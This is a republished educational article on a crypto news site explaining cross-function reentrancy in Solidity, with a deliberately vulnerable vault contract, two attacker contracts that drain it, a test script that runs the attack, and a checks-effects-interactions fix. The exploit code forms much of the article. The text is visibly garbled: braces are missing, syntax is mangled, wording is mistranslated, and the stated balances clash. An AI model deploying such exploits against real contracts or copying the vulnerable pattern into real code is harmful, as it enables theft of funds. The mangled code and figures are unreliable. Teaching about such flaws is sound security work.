Crypto Flexs
  • DIRECTORY
  • CRYPTO
    • ETHEREUM
    • BITCOIN
    • ALTCOIN
  • BLOCKCHAIN
  • EXCHANGE
  • TRADING
  • SUBMIT
Crypto Flexs
  • DIRECTORY
  • CRYPTO
    • ETHEREUM
    • BITCOIN
    • ALTCOIN
  • BLOCKCHAIN
  • EXCHANGE
  • TRADING
  • SUBMIT
Crypto Flexs
Home»HACKING NEWS»Cross-Function Reentrancy Attacks – Ackee Blockchain
HACKING NEWS

Cross-Function Reentrancy Attacks – Ackee Blockchain

By Crypto FlexsJuly 5, 20245 Mins Read
Facebook Twitter Pinterest LinkedIn Tumblr Email
Cross-Function Reentrancy Attacks – Ackee Blockchain
Share
Facebook Twitter LinkedIn Pinterest Email

What is a cross-function reentrancy attack?

Cross-function reentrant attacks use multiple functions to execute the attack, which can occur when single-function reentrant attacks are improperly mitigated. Cross-function reentrant attacks are more complex to find vulnerabilities in than single-function reentrant attacks because they use a combination of multiple functions.

This article explores how cross-function reentrancy attacks work, examples of attacks, and how to prevent cross-function reentrancy attacks.

Example of a cross-functional reentrancy vulnerability

This smart contract adds: transfer The ability to transfer a user’s value to another user without using ETH.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract Vault is ReentrancyGuard 
    mapping (address => uint) private balances;

    function deposit() external payable nonReentrant 
        balances(msg.sender) += msg.value;
    

    function transfer(address to, uint amount) public 
        if (balances(msg.sender) >= amount) 
            balances(to) += amount;
            balances(msg.sender) -= amount;
        
    

    function withdraw() public nonReentrant  // we can use noReentrant here.
        uint amount = balances(msg.sender);
        msg.sender.callvalue: amount("");
        balances(msg.sender) = 0; // did not checked balance. just overwrite to 0.
    

This is very similar to single function reentrancy, but we set up a reentrancy guard. withdraw And since there is a deposit function, this code cannot perform the same attack. However, the forward function does not have: nonReentrant.

The problem is that the state change is not completed before the transfer function becomes callable by the user. For example, if the user withdraw The function makes an external call and receives ETH. The balance is then transferred to another address. However, after the external call, the balance is simply set to 0. As a result, the total ETH balance of both accounts is effectively doubled for the same user.

Cross-functional reentrancy attack steps

After making a call attack function,

  1. Call deposit Strengthens balance against attacks.
  2. Call withdraw It is a function and performs an external call. Attackerand call it receive It performs the function and transfers the amount deposited by the attacker to: Attacker2.
  3. So now the sum of Attacker and Attacker2 is multiplied by several times.
  4. Call transfer and transfer the balance Attacker2 to Attacker Now the value of the balance is equal to the step. 1. but Attacker2 You received ETH in the previous step.

We repeat the task.

This is the attacker’s contract.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "./vault.sol";

contract Attacker 
    Vault victim;
    uint256 amount = 1 ether;

    Attacker2 public attacker2;

    constructor(Vault _victim) payable 
        victim = Vault(_victim);
    

    function setattacker2(address _attacker2) public 
        attacker2 = Attacker2(_attacker2);
    

    function attack() public payable 
        uint256 value =  address(this).balance;
        victim.depositvalue: value();
        while(address(victim).balance >= amount) 
            victim.withdraw();
            attacker2.send( value , address(this));
        
    


    /**
     * @notice Receive ether. the same amount of withdraw() but we can transfer the same amount to attacker2. 
     * Because burn balance of attacker1 after this function.
     * @dev triggered by victim.withdraw()
     */
    receive() external payable 
        victim.transfer(address(attacker2), msg.value);
    


contract Attacker2 

    uint256 amount = 1 ether;
    Vault victim;

    constructor(Vault _victim) 
        victim = Vault(_victim);
    

    function send(uint256 value, address attacker) public 
        victim.transfer(attacker, value);
    

This is an exploit.

Attacker You need to know Attacker2 let go. Attacker2 Since it could be an EOA, I used a simple contract that only needed to be marked.

from wake.testing import *

from pytypes.contracts.crossfunctionreentrancy.vault import Vault
from pytypes.contracts.crossfunctionreentrancy.attacker import Attacker
from pytypes.contracts.crossfunctionreentrancy.attacker import Attacker2

@default_chain.connect()
def test_default():
    print("---------------------Cross Function Reentrancy---------------------")
    victim = default_chain.accounts(0)
    attacker = default_chain.accounts(1)
    
    vault_contract = Vault.deploy(from_=victim)
    vault_contract.deposit(from_=victim, value="10 ether")
 
    
    attacker_contract = Attacker.deploy(vault_contract.address, from_=attacker , value="1 ether")
    attacker2_contract = Attacker2.deploy(vault_contract.address, from_=attacker)

    attacker_contract.setattacker2(attacker2_contract.address, from_=attacker)
    print("Vault balance   : ", vault_contract.balance)
    print("Attacker balance: ", attacker_contract.balance)

    print("----------Attack----------")
    attacker_contract.attack(from_=attacker)

    print("Vault balance   : ", vault_contract.balance)
    print("Attacker balance: ", attacker_contract.balance)

This is the output of Wake.

We can see that the Vault balance changed from 5 EHT to 0 ETH. The Attacker balance changed from 1 ETH to 6 ETH.

This is inter-functional reentrancy.

Preventing Cross-Function Reentrancy Attacks

There are ways to prevent these attacks.

CEI(Check-Effect-Interaction)

As with the single-function reentrancy example, the simplest precaution is to avoid making untrusted calls during state changes.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract Vault 
    mapping (address => uint) private balances;

    function deposit() external payable 
        balances(msg.sender) += msg.value;
    

    function transfer(address to, uint amount) public 
        if (balances(msg.sender) >= amount) 
            balances(to) += amount;
            balances(msg.sender) -= amount;
        
    

    function withdraw() public  // we can use noReentrant here.
        uint amount = balances(msg.sender);
        balances(msg.sender) = 0; // change balance
        msg.sender.callvalue: amount(""); // external call
    


There may be other ways to prevent this, but for example using Reentrancy-Guard would still leave you vulnerable to other types of reentrancy, so applying the CEI pattern is the best option.

conclusion

The main problem and cause of reentrancy attacks is that even in the middle of the process of any function, a value can be modified and the value is different from what it should be. There are many ways to modify this, but even if you can prevent reentrancy attacks, you can still use and exploit other types of reentrancy attacks. These attacks will be discussed in future blogs.


There is a reentrancy cases Github repository that lists several types of reentrancy attacks along with protocol-specific reentrancy exploits and prevention cases, as well as guidance blog posts.

Share. Facebook Twitter Pinterest LinkedIn Tumblr Email

Related Posts

Real Finance partners with Anchorage Digital to expand RWA infrastructure

June 6, 2026

Videos and Podcasts | Vault12

May 27, 2026

ECHO Token Plunges After $76 Million Administrator Key Exploit Hits Protocol

May 25, 2026
Add A Comment

Comments are closed.

Recent Posts

The Federal Reserve paused interest rate cuts after Bitcoin fell below $88,000.

June 12, 2026

What Happens To My Crypto If I Die? Binance Inheritance Feature

June 12, 2026

Bybit Spot Lists XStocks’ SpaceX On IPO Day

June 12, 2026

Mantle And XStocks Bring Tokenized SpaceX (SPCXx) To Fluxion & Merchant Moe As History’s Largest IPO Goes Live

June 12, 2026

Rare Evo 2026 Brings Top Blockchain and AI Leaders to Las Vegas with Free Admission

June 12, 2026

AFX Accelerates Global Expansion With Industry Veteran Ken C Leading Growth

June 12, 2026

SPACEX Launchpad Oversubscribed 15.5x, US Equity Futures Volume Jumps 85%

June 12, 2026

Bybit Named To Fortune Crypto 100 As It Accelerates Its Vision For The New Financial Platform

June 12, 2026

Vantage Secures Position On The Fortune Crypto Innovators List, Highlighting Cross-Market Trading Innovation

June 12, 2026

Franklin Templeton, BNP Paribas confirm tokenization to increase capital efficiency in EU

June 12, 2026

ORBS) Reports Total Holdings Of Approximately $406 Million, Includes OpenAI, Beast Industries, More Than 16,000 ETH And Over 283 Million WLD Tokens

June 11, 2026

Crypto Flexs is a Professional Cryptocurrency News Platform. Here we will provide you only interesting content, which you will like very much. We’re dedicated to providing you the best of Cryptocurrency. We hope you enjoy our Cryptocurrency News as much as we enjoy offering them to you.

Contact Us : Partner(@)Cryptoflexs.com

Top Insights

The Federal Reserve paused interest rate cuts after Bitcoin fell below $88,000.

June 12, 2026

What Happens To My Crypto If I Die? Binance Inheritance Feature

June 12, 2026

Bybit Spot Lists XStocks’ SpaceX On IPO Day

June 12, 2026
Most Popular

Kraken says it has patched an “isolated bug” and that user funds are not stolen.

June 19, 2024

Pushd pre-sale attracts Tron and Avalanche holders for early purchases.

February 17, 2024

Nostra CEO resigns 11 days after NSTR token launch

June 29, 2024
  • Home
  • About Us
  • Contact Us
  • Disclaimer
  • Privacy Policy
  • Terms and Conditions
© 2026 Crypto Flexs

Type above and press Enter to search. Press Esc to cancel.